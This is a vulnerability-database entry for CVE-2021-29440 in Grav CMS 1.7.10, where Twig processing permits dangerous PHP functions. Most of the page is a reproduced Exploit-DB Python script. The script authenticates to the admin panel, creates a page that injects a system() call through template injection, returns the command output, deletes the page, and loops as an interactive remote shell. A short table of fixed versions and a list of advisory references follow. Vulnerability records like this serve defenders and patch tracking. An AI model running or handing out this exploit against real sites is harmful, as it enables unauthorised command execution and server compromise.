CVE-2021-29440
unknown
CVSS v3
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CVSS v4 NEW
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VIR risk
1.0
Description
Grav's Twig processing allowing dangerous PHP functions by default
Predictions
Exploit likelihood
30%
Patch ETA
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)
# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)
# Author: enox
# Date: 06-06-2021
# Vendor: https://getgrav.org/
# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10
# Vulnerable Version(s): Grav CMS 1.7.10
# CVE: CVE-2021-29440
# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
# NOTES: You need a user who has access to /admin dashboard with page creation privileges.
#!/usr/bin/python
import requests
from bs4 import BeautifulSoup
import random
import string
username = 'username'
password = 'password'
url = 'http://grav.local'
session = requests.Session()
# Autheticating
## Getting login-nonce
def login(url,username,password):
r = session.get(url + "/admin")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[2])
nonce = nonce[47:79]
## Logging in
payload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = session.post(url+"/admin",data=payload,headers=headers)
# Creating Page for RCE
def rce(url,cmd):
## Getting form nonce and unique form id
project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))
r = session.get(url+f"/admin/pages/{project_name}/:add")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[72])
form_id = str(soup.findAll('input')[71])
form_id = form_id[54:86]
nonce = nonce[46:78]
## Creating Page
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)
## Getting command output
r = session.get(url+f"/{project_name.lower()}")
if 'SyntaxError' in r.text:
print("[-] Command error")
else:
a = r.text.split('<section id="body-wrapper" class="section">')
b = a[1].split('</section>')
print(b[0][58:])
# Cleaning up
## Getting admin-nonce
r = session.get(url + "/admin/pages")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[32])
nonce = nonce[47:79]
## Deleting Page
r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")
login(url,username,password)
while True:
cmd = input("$ ")
rce(url,cmd)
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Packagist | getgrav/grav | <1.7.11 | 1.7.11 |
References
- https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc
- https://nvd.nist.gov/vuln/detail/CVE-2021-29440
- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
- https://packagist.org/packages/getgrav/grav
- http://packetstormsecurity.com/files/162987/Grav-CMS-1.7.10-Server-Side-Template-Injection.html
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.